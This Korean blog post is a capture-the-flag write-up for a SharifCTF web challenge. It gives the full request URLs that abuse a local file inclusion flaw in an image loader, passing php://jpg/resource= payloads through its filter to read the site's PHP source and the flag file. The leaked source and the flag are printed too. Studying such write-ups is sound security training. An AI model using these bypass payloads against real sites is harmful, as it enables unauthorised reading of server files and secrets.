티스토리 뷰



The Blog를 눌러서 문제 서버에 접근해보면 기사들을 접할 수 있다.


소스를 확인해보면 여러 정보를 획득할 수 있다.


<img src="files/images/robot.jpg" alt="" />

위 정보를 통해서 상위 경로로 올라가다보면 아래와 같이 디렉터리 인덱싱이 되는 것을 확인할 수 있고 flag/ 디렉터리가 있다는 것을 알 수 있다.


하지만, 해당 디렉터리에 접근해보면 Forbidden 메시지와 함께 접근할 수 없다.


<img src="images.php?id=files/images/heart.jpg" alt="" />

다시 소스를 확인해보면 위와 같은 정보를 확인할 수 있고 LFI 취약점이 발생할 수 있다는 가정을 하고 아래와 같이 시도하였다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://filter/convert.base64-encode/resource=files/images/heart.jpg


시도한 결과를 보면 base64로 인코딩되어 있지 않고 원본 그대로 표시가 되는 것을 확인할 수 있다.

(실제 CTF 당시 위와 같이 시도했을 때 정상적으로 base64 인코딩되어 표시가 됐었는데...?! 지금은 왜 또 저렇게 되는건지.. PhotoBlog 문제처럼 이 문제도 어떤 차이가 있는 건지 잘 모르겠다.)


http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://filter/convert.base64-encode/resource=index.php

그리고 이미지 파일이 아닌 index.php 메인 페이지 소스를 base64로 인코딩하여 확인해보면 file not found라는 메시지가 표시되면서 내용을 확인할 수 없다.


여기에서 heart.jpg로 시도했을 때 인코딩되지 않은 점을 이용해서 중간에 아무런 의미가 없는 글자들을 넣고 시도해보았다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://filter/do9dark/resource=files/images/heart.jpg

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://resource=files/images/heart.jpg

결과를 확인해보면 에러가 아니라 정상적으로 이미지 파일을 표시하고 있는 것을 확인할 수 있다.

이를 통해서 몇 가지 더 시도해보면 images.php에서 id 파라미터로 받은 값을 "/^php:\/\/.*resource=([^|]*)/i"와 같이 정규표현식을 통해서 처리하는 것을 추측할 수 있다.


이 점을 이용하여 index.php 파일을 다시 시도하였다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://resource=files/images/heart.jpg

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://resource=index.php

시도한 결과 jpg 파일은 정상적으로 되지만, php 파일은 file not found라는 메시지가 표시가 되면서 내용을 확인할 수 없었다.


jpg 말고도 png, gif와 같이 다른 이미지 파일을 시도해보면 index.php처럼 file not found와 함께 확인할 수 없었다.

jpg 문자가 없으면 동작을 제대로 하지 않는다는 것을 가정하고 jpg를 삽입하여 시도하였다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://jpg/resource=index.php

결과를 확인해보면 file not found가 아닌 다른 결과가 나온 것을 볼 수 있고 소스를 확인해보면 index.php 파일의 소스를 정상적으로 조회한 것을 확인할 수 있다.


index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php    if (extract_teamname_from_cookie("technews"=== false)    die("\n\n\n");?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Technology News</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="wrap">
  <div id="header">
    <div id="topbar">
      <h1 id="sitename"><a href="index.php">Technology<span>News</span></a><span></span></h1>
      <form action="search.php" method="get">
        <div id="topsearch">
          <input type="text" name="query" size="25" />
        </div>
      </form>
    </div>
    <div id="headercontent">
      <h2 id="description">Technology News</h2>
      <div id="headerlinks"><img src="files/images/rss.jpg" alt="" width="128" height="70" /></div>
    </div>
    <div id="topnav">
      <ul>
        <li class="active"><a href="index.php">Home</a></li>
      </ul>
    </div>
  </div>
  <div id="page">
    <div id="contents">
      <div class="post">
        <h2>News Headings</h2>
        <p> It's 2016 and there's a feeling of hope and renewal in the air. That can mean only one thing: It's time for some New Year's resolutions. What did you vow to change this year? Are you going to learn a new skill? Pay off your credit card debt? Lose 40 pounds? Whatever your plans are, don't forget to throw in a few resolutions that involve the technology in your life. The best part of tech resolutions is they're fairly easy to keep and can improve your life almost right away. We've got seven suggestions below on how to make technology central to your plans for an awesome 2016. <span class="readmore"><a target="_blank" href="http://www.pcworld.com/article/3017780/software/7-technology-resolutions-for-a-better-2016.html">Read More</a></span></p>
      </div>
      <div id="col1">
        <h2 class="subhead">Latest</h2>
        <div class="post_item"> <img src="files/images/robot.jpg" alt="" />
          <h3>The first affordable robot servant, Alpha2, is now in development</h3>
          <p>The fantasy of having your own benign, high-tech, vaguely humanoid robot servant goes back at least to Robby the Robot, the star of the 1956 science-fiction classic Forbidden Planet. Robby could cook, clean, carry several tons of cargo, and whip up anything from diamonds to booze from inside his body. He also followed Asimov’s laws of robotics.  <span class="readmore"><a target="_blank" href="http://www.techhive.com/article/3004617/robots/the-first-affordable-robot-servant-alpha2-is-now-in-development.html">Read More</a></span> </p>
        </div>
        <div class="post_item"> <img src="images.php?id=files/images/heart.jpg" alt="" />
          <h3>Heartbleed-like bug in OpenSSH dismissed as a hoax</h3>
          <p>Hackers claiming to have found a critical flaw in a widely used open-source remote login software, OpenSSH, are likely bluffing, according to a developer affiliated with the project.<span class="readmore"><a target="_blank" href="http://www.pcworld.com/article/2151560/heartbleedlike-bug-in-openssh-dismissed-as-a-hoax.html">Read More</a></span></p>
        </div>
      </div>
      <div id="col2">
        <h2 class="subhead">Popular </h2>
        <div class="post_item">
          <h3>U.S. will require registration process for drones</h3>
          <p>Hobbyists and companies alike are trying out drones for fun and commercial purposes, and as the sky starts to get crowded there is a growing cry to regulate the remote-controlled aircraft. The U.S. Dept. of Transportation on Monday said it would form a task force that will come up with a registration process for drones by Nov. 20. <span class="readmore"><a target="_blank" href="http://www.pcworld.com/article/2994821/government/us-to-require-registration-process-for-drones.html">Read More</a></span></p>
        </div>
        <div class="post_item">
          <h3>Senate bill aims to make it a federal offense to fly drones recklessly</h3>
          <p> <img src="files/images/robot2.jpg" alt="" width="100" height="87" />A bill was introduced in the U.S. Senate on Wednesday that will make it a misdemeanor, punishable by a fine or imprisonment for up to a year, for individuals who knowingly operate a drone within 2 miles of a fire, an airport or any other restricted airspace. <span class="readmore"><a target="_blank" href="http://www.pcworld.com/article/2990470/gadgets/senate-bill-aims-to-make-it-a-federal-offense-to-fly-drones-recklessly.html">Read More</a></span> </p>
        </div>
      </div>
    </div>
    <div id="sidebar">
      <ul>
        <li>
          <h2>About</h2>
          <p>You can see the latest technology news at this website.</p>
        </li>
      </ul>
    </div>
    <div class="clear">&nbsp;</div>
  </div>
  <div id="footer">
      <div id="leftfoot"><br />
      <a href="http://ramblingsoul.com">CSS Template</a> by RamblingSoul</span><br />
    </div>
    <div id="rightfoot"> <a href="#wrap">Back To Top</a></div>
  </div>
</div>
</body>
</html>
 
cs


images.php 파일도 소스를 확인하였다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://jpg/resource=images.php

앞에서 이야기한 내용들이 코드로 작성되어 있는 것을 확인할 수 있었다.


images.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//if (extract_teamname_from_cookie("technews") === false)
//    exit;
 
if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg'!== false))//is file type is jpg?
{
#  echo "$_GET["id"]";
  
  header('Cache-control: private');
 
    preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"]), $matches);
//die ("<pre>" . trim($_GET["id"]));
//die ("<pre>///".print_r($matches, true)."///");
    if (isset($matches[1]))
        $_GET["id"= $matches[1];
 
    if (file_exists("./" . $_GET["id"]) == false)
        die("file not found");
    if (substr(realpath("./" . $_GET["id"]), 024!= "/var/www/technology-news")
        die(".");
 
    header('Content-Type: image/jpg');
    header('Content-Length: '.filesize($_GET["id"]));
    header('Content-Disposition: filename='.$_GET["id"]);
 
    $img_data = file_get_contents($_GET["id"]);
    $img_data = sharifctf_internal_put_it($img_data"technews");
    echo $img_data;
  
}
else //file type is not jpg! show the error message
{
    echo "file not found";
}
?>
cs


마지막으로 files/flag/flag.txt 내용을 확인하여 Flag를 획득하였다.

http://ctf.sharif.edu:31455/chal/technews/0ca1c5fd5d487c49/images.php?id=php://jpg/resource=files/flag/flag.txt


Flag: sharifctf{64ee40fb3474670d2034d7f3283b8e2d}


댓글
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
링크
공지사항
Total
Today
Yesterday